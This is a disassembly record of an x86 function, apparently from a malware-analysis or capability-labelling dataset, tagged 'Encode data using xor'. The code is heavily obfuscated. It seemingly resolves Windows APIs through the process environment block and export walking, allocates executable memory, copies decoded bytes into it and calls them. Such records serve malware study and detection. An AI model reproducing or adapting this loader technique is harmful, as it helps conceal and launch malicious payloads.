Function at 0x47200c
Capabilities:
Encode data using xor

Disassembly:
push esi
pop ecx
xchg ecx, eax
push 0x8f51c78b
mov ecx, 0x70ae3877
pop edx
xor ecx, edx
add esp, ecx
mov dword [esp], eax
mov esi, 0xd3b3033
add esi, 0xf2c4cfcd
xor esi, ebx
mov eax, 0x43097d48
add eax, 0xbcf682b4
add esp, eax
mov dword [esp], esi
sub ecx, ecx
add ecx, edi
mov ebx, ecx
mov eax, ebx
add esp, 0xfffffffc
mov ebx, esp
mov dword [ebx], eax
mov eax, 0x62961ba2
xor eax, 0x4e784f81
push 0x50d32771
mov edx, 0x8829e5f
pop edi
xor edx, edi
xor edx, eax
push 0x1d99b17e
mov ebx, 0x69265d8b
pop eax
xor ebx, eax
sub edx, ebx
mov esi, dword fs:[edx]
mov edx, 0x204424a8
mov ebx, 0x4080a02
xor edx, ebx
push edx
mov ebx, 0x600519a9
mov eax, 0x44493733
xor eax, ebx
mov edi, dword [esp]
sub esp, 0xfffffffc
xor eax, edi
add esi, eax
mov edi, dword [esi]
push 0x50c431d9
mov ecx, 0x4383c340
pop eax
xor ecx, eax
mov eax, 0x1d4b9215
mov esi, 0xf1f39f78
xor esi, eax
xor esi, ecx
sub edi, esi
mov esi, 0
xor esi, edi
xchg esi, edx
push 0x6054e4d0
mov esi, 0x6054e4eb
pop ebx
xor esi, ebx
add edx, esi
mov ebx, 1
sub edx, ebx
mov eax, dword [edx - 0x3a]
mov ecx, 0x49f8f032
add ecx, 0xea2a8f92
mov edx, 0x50df209
mov ebx, 0xced17239
xor ebx, edx
xor ebx, ecx
sub eax, ebx
mov edx, eax
xchg edx, esi
mov ebx, esi
mov edi, ebx
push 0xe8006c88
mov esi, 0x17ff9374
pop ebx
xor esi, ebx
add esp, esi
mov dword [esp], edi
xor edx, edx
add edx, esp
mov esi, 0xffffff8c
add edx, esi
mov esi, 0xffffffff
add edx, esi
mov ecx, dword [edx + 0x75]
mov ebx, 0x3b2b3c17
xor ebx, 0x3b2b3c13
add esp, ebx
mov ebx, 0x4d6cddb6
mov eax, 0x4d6cddb2
xor eax, ebx
sub esp, eax
mov ebx, 0x3d91792
mov edx, 0x3d91792
xor edx, ebx
xor edx, esp
mov dword [edx], ecx
xor esi, esi
add esi, ecx
push esi
pop eax
mov esi, 3
mov ebx, 0x18
xor esi, ebx
add eax, esi
mov edx, dword [eax - 0x1b]
push 0x34d764d
mov edi, 0x34d764d
pop eax
xor edi, eax
xor edi, edx
mov eax, 0x4aa5a793
mov ebx, 0xb55a5820
xor eax, ebx
add edi, eax
mov eax, 0x2316be84
xor eax, 0x2316be85
sub edi, eax
mov esi, dword [edi + 0x4e]
mov edi, 0x7686d63e
add edi, 0x897929e2
mov eax, 4
mov ebx, 8
xor eax, ebx
xor edi, eax
add esi, edi
mov ecx, 0
mov edi, 0
xor ecx, edi
xor ecx, esi
mov edi, 0x2532ea64
xor edi, 0xdacd159b
add ecx, edi
mov ebx, dword [ecx + 1]
and ebx, 0xffff
push 0x64a1b98c
mov ecx, 0x1b7c3b0c
pop eax
xor ecx, eax
add ecx, 0xf888a791
add ecx, 0xf897c224
xor ebx, ecx
mov edi, 0x1717f51d
add edi, 0x497847f6
xor ebx, edi
mov eax, ebx
xor eax, 0xffffffff
and eax, 0x106dd13e
and ebx, 0xef922ec1
or ebx, eax
mov eax, 0x428b988b
xor eax, 0x428b988b
push 0x5d6e2a81
mov edi, 0x5d6e2a81
pop ecx
xor edi, ecx
xor eax, edi
xor eax, ebx
or eax, 0
jne 0x472459
mov edx, 0x10001199
mov eax, 0x44806e40
xor edx, eax
mov edi, 0x54802540
mov eax, 0x5a9d
xor edi, eax
xor edi, edx
add esi, edi
mov edi, dword [esi]
mov edx, 0x191ce69e
mov ecx, 0x191ce69a
xor ecx, edx
sub esp, ecx
mov edx, esp
mov ecx, edx
xchg ecx, ebx
mov dword [ebx], edi
add esp, 0xfffffffc
mov eax, esp
mov dword [eax], edi
pop esi
mov eax, 0x601f356c
add eax, 0x9fe0ca95
sub esi, eax
mov edx, dword [esi + 1]
and edx, 0xff
xor edx, 0x6b
mov eax, 4
sub esp, eax
push esp
pop esi
mov dword [esi], edx
pop ecx
sub ecx, 0
je 0x4722f4
mov esi, 0x3ab5e840
mov edi, 0x4f9dcd6e
xor edi, esi
mov ecx, 0x8ad7daf2
add edi, ecx
xor edx, edi
mov eax, 0
xor eax, edx
mov ebx, eax
xchg ebx, esi
push 0x48871b12
mov edi, 0x48871b12
pop eax
xor edi, eax
xor edi, esi
or edi, edi
jne 0x472440
pop eax
push 0x91edb7fc
mov edi, 0x78ef244a
pop ecx
xor edi, ecx
push edi
mov ecx, 0x2ff09343
mov esi, 0x390dff0f
xor esi, ecx
mov ebx, dword [esp]
sub esp, 0xfffffffc
xor esi, ebx
sub eax, esi
sub ebx, ebx
add ebx, eax
mov edx, ebx
xchg ecx, edx
mov edx, ecx
push edx
mov edi, eax
add esp, 0xfffffffc
mov dword [esp], edi
mov ecx, dword [esp]
add esp, 4
mov edi, 0x5e09152f
add edi, 0xa1f6eb3d
add ecx, edi
dec ecx
mov esi, dword [ecx - 0x6b]
and esi, 0xff
mov ecx, 0x50003a0
mov edi, 0x2803419
xor ecx, edi
mov edx, 0x59dbf335
xor edx, 0x5d9dd41e
xor edx, ecx
xor esi, edx
mov eax, 0x1c744062
add eax, 0x55b8ed21
xor esi, eax
mov ebx, 0x1f725d4
xor esi, ebx
xor esi, 0x701c188b
mov edx, esi
xchg edi, edx
mov edx, 4
sub esp, edx
mov dword [esp], edi
pop ecx
or ecx, esi
je 0x4723aa
xor esi, 0x20
mov eax, esi
sub ebx, ebx
add ebx, eax
add ebx, 0
jne 0x472440
push esp
pop esi
add esi, 0xffffffff
mov edi, dword [esi + 1]
mov eax, 0x458c760a
xor eax, 0x458c760e
add esp, eax
mov esi, 0x3776f911
xor esi, 0x27042477
mov eax, 0x16628bd9
xor eax, 0x61056b9
xor eax, esi
add edi, eax
mov edx, edi
add esp, 0xfffffffc
mov dword [esp], edx
mov eax, dword [esp]
add esp, 4
mov ebx, 0x4fd81405
mov edx, 0x4fd81420
xor edx, ebx
sub eax, edx
mov esi, dword [eax + 0x25]
mov ebx, 0x3392b034
add ebx, 0xee1dcd
mov edi, 0x344ecdce
sub ebx, edi
xor esi, ebx
mov edx, 0x4fb6d0ec
xor edx, 0x5ac59ca7
push edx
mov edi, 0x3befceea
add edi, 0xd9837d61
pop eax
xor edi, eax
xor edi, esi
and edi, 0xffffffff
je 0x472498
jmp 0x472459
push esp
pop edi
sub edi, 1
mov edx, dword [edi + 1]
mov eax, 0x5d1c86c4
mov edi, 0xa2e37938
xor edi, eax
sub esp, edi
pop esi
mov eax, 0x7c29d1e5
xor eax, 0x7c29d1e5
xor eax, esi
mov ecx, 0x112cd76a
mov ebx, 0xeed328cd
xor ebx, ecx
sub eax, ebx
mov edi, dword [eax - 0x59]
mov ebx, edi
push ebx
mov eax, dword [esp]
add esp, 4
mov ebx, 0x59eb8d07
add ebx, 0xa61472fd
sub esp, ebx
mov dword [esp], eax
jmp 0x47211e
pop edi
xor ebx, ebx
add ebx, edi
mov esi, ebx
mov eax, 0x149b7286
add eax, 0xeb648d6d
sub esi, eax
mov edx, dword [esi - 0xd]
sub esi, esi
add esi, edx
mov edi, 0xffffffbc
sub esi, edi
mov edi, 0xffffffff
sub esi, edi
mov ecx, dword [esi - 0x45]
mov esi, 0xce6c855
xor esi, 0x76dfcd60
mov eax, 0x85c6fadd
xor esi, eax
sub ecx, esi
mov ebx, 0x9d2eab5
mov esi, 0x9d2eab5
xor esi, ebx
xor esi, ecx
dec esi
mov edi, dword [esi + 1]
mov ecx, edi
push ecx
pop eax
mov ecx, eax
xchg ecx, ebx
mov ecx, ebx
push ecx
mov edx, 0x42062804
mov esi, 0x300185a1
xor edx, esi
mov eax, 0x22040820
mov ebx, 0x5003a585
xor eax, ebx
xor eax, edx
xor eax, edi
mov ecx, 0x3f7757e8
xor ecx, 0x1890258
add esp, 0xfffffffc
mov dword [esp], ecx
push 0xe22ad24
mov edi, 0x30dcf8a8
pop edx
xor edi, edx
pop ebx
xor edi, ebx
add eax, edi
xor edi, edi
add edi, eax
mov esi, 0x4febe51e
mov ebx, 0xb0141ae1
xor esi, ebx
add edi, esi
mov ecx, dword [edi + 1]
mov edi, esp
add esp, 0xfffffffc
mov dword [esp], edi
pop esi
push 0x2ddbf3b8
mov ebx, 0x2ddbf38a
pop edx
xor ebx, edx
add esi, ebx
mov eax, dword [esi - 0x32]
add ecx, eax
mov esi, 0x5dbabd1b
xor esi, 0x2970c49b
mov edi, 0x669986e1
mov edx, 0xedac00e9
xor edx, edi
xor esi, edx
sub ecx, esi
mov ecx, dword [ecx]
xor eax, eax
add eax, esp
mov ebx, 0x654d471f
mov edx, 0x9ab2b8e0
xor edx, ebx
add eax, edx
mov edi, dword [eax + 1]
add ecx, edi
push 0x5e4c2ab1
mov edx, 0x2e24e751
pop edi
xor edx, edi
push 0xa4c93b65
mov esi, 0x2b5e0965
pop edi
xor esi, edi
xor edx, esi
sub ecx, edx
mov edx, 0x7a07765e
xor edx, 0x1d169a91
push 0x13feb52f
mov esi, 0x43b34374
pop eax
xor esi, eax
xor esi, edx
mov edi, 0x705f4ea7
xor edi, 0x707eaaa7
mov ebx, 0x65807455
add ebx, 0x63018d13
xor edi, ebx
xor esi, edi
add esi, ecx
xor edi, edi
add edi, esi
xchg edi, edx
mov eax, 0x46
add edx, eax
mov eax, 0x2f
add edx, eax
mov edi, 0xffffffff
add edx, edi
mov esi, dword [edx - 0x74]
mov eax, esp
mov ebx, eax
xchg ebx, edi
mov eax, 0xffffffff
add edi, eax
mov edx, dword [edi + 1]
add esi, edx
mov edx, 0x334809a2
mov eax, 0x334809a2
xor eax, edx
xor eax, esi
mov edx, 0x4354926c
add edx, 0xbcab6d90
add esp, edx
mov dword [esp], eax
push 0x666d631b
mov eax, 0x524bc762
pop edx
xor eax, edx
push 0x28e12f4c
mov esi, 0x55bd7d04
pop edi
xor esi, edi
xor esi, eax
mov edx, 0x454f4c10
add edx, 0x42baa1d
sub esi, edx
add esi, ecx
mov edx, esi
xchg edx, ebx
xchg ebx, edi
mov edx, 0x70a2138f
xor edx, 0x8f5dec63
sub edi, edx
mov esi, dword [edi - 0x14]
mov edi, dword [esp + 4]
add esi, edi
push 0x4c73b06
mov edi, 0x4c73b02
pop eax
xor edi, eax
sub esp, edi
push esp
pop edx
push edx
pop ebx
mov dword [ebx], esi
xor esi, esi
add esi, ecx
xchg edx, esi
mov ebx, 0x4470c842
add ebx, 0xbb8f37bf
sub edx, ebx
mov ecx, dword [edx + 1]
mov eax, dword [esp + 8]
add ecx, eax
mov edx, dword [ecx]
mov esi, dword [esp + 8]
add edx, esi
mov eax, 0x62a08305
mov ebx, 0x14464412
xor eax, ebx
mov edi, 0x24268612
mov ebx, 0x52c04100
xor edi, ebx
xor edi, eax
add edx, edi
mov esi, 0x343a5e95
mov edi, 0x343a5e95
xor edi, esi
xor edi, edx
mov esi, 0x350c9997
xor esi, 0xcaf36650
sub edi, esi
mov edx, dword [edi - 0x39]
mov edi, 0xad0baa4
xor edi, 0x47558a4b
sub esp, 4
mov dword [esp], edi
mov esi, 0x6dd0e922
xor esi, 0x5f768b41
mov ebx, dword [esp]
sub esp, 0xfffffffc
xor esi, ebx
xor edx, esi
mov eax, edx
mov edi, eax
mov eax, 0xffffffff
xor edi, eax
and edi, 0x1b6231e3
and edx, 0xe49dce1c
or edx, edi
sub ebx, ebx
add ebx, edx
or ebx, 0
je 0x4727d6
mov esi, 0x5d5ae55d
add esi, 0xdd624035
mov ebx, 0x3abd2596
sub esi, ebx
sub ecx, esi
xor eax, eax
add eax, esp
add eax, 0x16
add eax, 0xc
add eax, 0xffffffff
mov edi, dword [eax - 0x21]
mov edx, 0x574c2a02
add edx, 0xa8b3d5fa
sub esp, edx
push 0x71d7fce2
mov ebx, 0x2c6b549
pop edx
xor ebx, edx
push 0x599d1471
mov eax, 0x2a8c5dd8
pop edx
xor eax, edx
xor eax, ebx
add edi, eax
mov edx, edi
push 0x2828a5eb
mov esi, 0x2828a5ef
pop ebx
xor esi, ebx
sub esp, esi
mov dword [esp], edx
jmp 0x4726cb
pop edx
push edx
pop ecx
push ecx
pop esi
mov ecx, 0x7fbdf256
add ecx, 0x80420da1
add esi, ecx
mov ecx, 1
sub esi, ecx
mov edx, dword [esi + 0xa]
and edx, 0xffff
add edx, edx
mov edi, edx
xchg edi, ebx
mov esi, 0
xor esi, ebx
xchg esi, ecx
add edx, ecx
pop eax
add eax, edx
xor edx, edx
add edx, eax
push 0xa4eb0251
mov esi, 0x5b14fd93
pop ebx
xor esi, ebx
add edx, esi
mov ecx, 0x22fc7729
xor ecx, 0x22fc7728
sub edx, ecx
mov eax, dword [edx + 0x3f]
pop ebx
add eax, ebx
xor edx, edx
add edx, eax
mov esi, 0x5b7972c0
add esi, 0xa4868d3c
add esp, esi
mov dword [esp], edx
push 0xd8bf783
mov esi, 0x7bdb7183
pop edx
xor esi, edx
push esi
mov ecx, 0x4179718a
add ecx, 0xd7
push ecx
mov edx, 0x726268e7
add edx, 0x65
push edx
mov esi, 0x53088e7b
xor esi, 0x3769e137
push esi
mov ecx, esp
mov edx, 4
sub esp, edx
xor esi, esi
add esi, esp
mov dword [esi], ecx
mov edx, 0x56ea22b4
add edx, 0xa915dd48
add esp, edx
mov esi, esp
mov edi, esi
mov ecx, edi
mov dword [ecx], ebx
call eax
mov ebx, 0x792dcb16
mov esi, 0x792dcb16
xor esi, ebx
mov ebx, 0x542ec6f3
mov edi, 0x542ec6e3
xor edi, ebx
xor esi, edi
add esp, esi
mov ecx, 0x1d88f345
mov edx, 0xe2770cb9
xor edx, ecx
add esp, edx
push 0xcb57a51
mov esi, 0xcb57a51
pop edx
xor esi, edx
xor esi, esp
mov dword [esi], eax
call fcn.00472d33
push 0x1f9d4666
mov ebx, 0x622a418f
pop edx
xor ebx, edx
push 0x7643afbd
mov ecx, 0xbf4a856
pop edx
xor ecx, edx
xor ecx, ebx
add esi, ecx
mov ebx, 0x3737b24a
add ebx, 0xc8c84db6
xor ebx, esi
push 0x11cf1355
mov edi, 0x11cf1351
pop edx
xor edi, edx
sub esp, edi
mov dword [esp], ebx
mov ebx, 0x5ff25305
xor ebx, 0x40d80405
push ebx
mov ebx, 0x1fb835de
xor ebx, 0x7cd759b2
sub esp, 4
mov dword [esp], ebx
mov ecx, 0x21d2dcb1
xor ecx, 0x60bebdc4
push ecx
mov edi, 0x74404154
mov esi, 0x322802
xor edi, esi
push edi
mov esi, 0xa08500
mov ebx, 0xca080000
xor esi, ebx
push esi
mov edi, 0x32336c40
add edi, 0x25
push edi
push 0xb5971ea
mov esi, 0x652b14a1
pop ebx
xor esi, ebx
push esi
mov ecx, dword [esp + 0x20]
mov edx, 0x5d71d123
xor edx, 0x5d71d123
xor edx, esp
mov edi, edx
mov esi, edi
add esp, 0
add esp, 0xfffffffc
mov dword [esp], esi
call ecx
mov ebx, 0x6479df10
mov edx, 0x9b8620e5
xor ebx, edx
sub esp, ebx
mov ebx, 1
mov edx, 0
xor ebx, edx
add esp, ebx
mov edi, esp
push edi
mov esi, dword [esp]
add esp, 4
push 0x71ff4605
mov edi, 0x71ff4601
pop ecx
xor edi, ecx
sub esp, edi
mov dword [esp], esi
mov edi, 4
mov ebx, 0
xor edi, ebx
sub esp, edi
mov esi, esp
xchg esi, edi
mov esi, edi
xchg esi, ecx
mov dword [ecx], eax
mov edi, dword [esp + 0x20]
call edi
push 0x499fcd0a
mov edx, 0x16954c7a
pop ebx
xor edx, ebx
mov edi, 0x7d0cd498
add edi, 0x23e8a9e8
xor edi, edx
sub esp, edi
mov ebx, 0x40
mov ecx, 0
xor ebx, ecx
push ebx
mov ecx, 0x4df52deb
xor ecx, 0x4df53deb
push ecx
mov edi, 0x286e1762
xor edi, 0x286c1372
push edi
mov esi, 0x45ce5cea
xor esi, 0x45ce5cea
push esi
call eax
pop ebx
mov ecx, eax
push ecx
pop esi
xchg esi, edx
mov esi, 0xfffffffc
add esp, esi
mov eax, esp
xchg eax, edi
mov dword [edi], edx
mov edx, ebx
push edx
pop esi
mov edx, 0x42743990
mov edi, 0xbd8bc66c
xor edx, edi
add esp, edx
mov dword [esp], esi
mov edx, 0x93c5cb
add edx, 0x18bca965
mov esi, 0x19507030
sub edx, esi
sub ebx, edx
mov edx, 0x1d46d5ca
xor edx, 0x1d44d1cc
push edx
mov dl, byte [ebx]
mov byte [ecx], dl
mov eax, 0x449e4e19
xor eax, 0x9a58b3e
push eax
mov edx, 0xff6b102
add edx, 0x3d451424
mov esi, dword [esp]
add esp, 4
xor edx, esi
add ebx, edx
push 0x4e988dc5
mov edx, 0x4e988dc5
pop edi
xor edx, edi
mov esi, 0x760af84
add esi, 0xf89f507d
xor edx, esi
add ecx, edx
pop edx
mov edi, 0x725567ce
xor edi, 0x3b9c05df
sub esp, 4
mov dword [esp], edi
mov edi, 0x3e83361
mov esi, 0x4a215171
xor esi, edi
mov eax, dword [esp]
add esp, 4
xor esi, eax
sub edx, esi
mov edi, edx
mov esi, edi
push 0x4ceb4784
mov edi, 0x4ceb4780
pop eax
xor edi, eax
sub esp, edi
mov dword [esp], esi
xor edi, edi
add edi, edx
mov esi, edi
sub esp, 4
mov dword [esp], esi
mov edi, esp
dec edi
mov eax, dword [edi + 1]
mov esi, 0xfffffffc
sub esp, esi
and eax, eax
jne 0x472ab4
pop edx
mov edi, 0x6e86c38c
xor edi, 0xf80e453
push edi
push 0x466adadd
mov ecx, 0x3fa171b7
pop edi
xor ecx, edi
pop esi
xor ecx, esi
mov edx, 0x22d0209a
mov ebx, 0x44040
xor edx, ebx
mov edi, 0xa04d827
sub edx, edi
xor edx, ecx
pop ecx
pop esi
mov edi, 0x4876d488
xor edi, 0x4874d489
push 0x104443fb
mov eax, 0x104447ff
pop ebx
xor eax, ebx
xor edi, eax
add esi, edi
mov ebx, 0xc7ada6c
add ebx, 0xf3852590
add esp, ebx
mov ebx, esp
xchg ebx, eax
xchg edi, eax
mov dword [edi], edx
push ecx
pop eax
xchg edi, eax
mov ebx, 2
sub esp, ebx
mov eax, 0xfffffffe
add esp, eax
mov dword [esp], edi
xor eax, eax
add eax, esi
xchg eax, edi
push 0xc1acf9ca
mov eax, 0x3e530636
pop ebx
xor eax, ebx
add esp, eax
mov dword [esp], edi
xor edx, edx
mov dl, byte [esi]
add ecx, edx
mov dl, byte [ecx]
pop esi
mov edi, esp
xchg ebx, edi
add ebx, 0xffffffff
mov ecx, dword [ebx + 1]
mov eax, 0x77f80a80
add eax, 0x8807f584
add esp, eax
mov byte [esi], dl
mov eax, 0x4f906153
xor eax, 0x15b2b35f
push 0x814541f7
mov edi, 0x24986c04
pop ebx
xor edi, ebx
xor edi, eax
add esi, edi
pop edx
mov edi, 0x2f2a4c5b
xor edi, 0x5e52e77
mov eax, 0xd5309dd3
add edi, eax
add edx, edi
cmp edx, 0
jne 0x472bac
mov ebx, 0x12801130
mov edi, 0x550a00d
xor ebx, edi
add ebx, 0xee69a489
add ebx, 0xf9c5aa39
sub esi, ebx
mov edx, 0x3bffc1dc
mov edi, 0xc4003e20
xor edx, edi
add esp, edx
mov ebx, esp
push ebx
mov ecx, dword [esp]
add esp, 4
mov dword [ecx], esi
pop eax
call eax
push 0x9a436a6
mov eax, 0x52551a5f
pop edx
xor eax, edx
mov edx, 0x1660a7bf
xor eax, edx
xor eax, 0x4d918b65
mov edx, 0x1e8d6452
mov ecx, 0x6b7f85ec
xor ecx, edx
mov edx, 0x90656e42
add ecx, edx
xor eax, ecx
pop edi
mov edx, 0x445233a8
xor edx, 0x29a7d6ea
push edx
push 0x4ce28ebc
mov ecx, 0x79e7d79d
pop edx
xor ecx, edx
pop eax
xor ecx, eax
pop ebx
mov eax, 0x2180a00
mov edx, 0x400
xor eax, edx
push 0x47a0909a
mov ecx, 0x7723b003
pop edx
xor ecx, edx
xor eax, ecx
mov eax, esp
xchg ecx, eax
mov edx, 0xfffffff3
sub ecx, edx
mov esi, dword [ecx - 0xd]
push 0x133b8678
mov eax, 0x133b867c
pop ecx
xor eax, ecx
add esp, eax
ret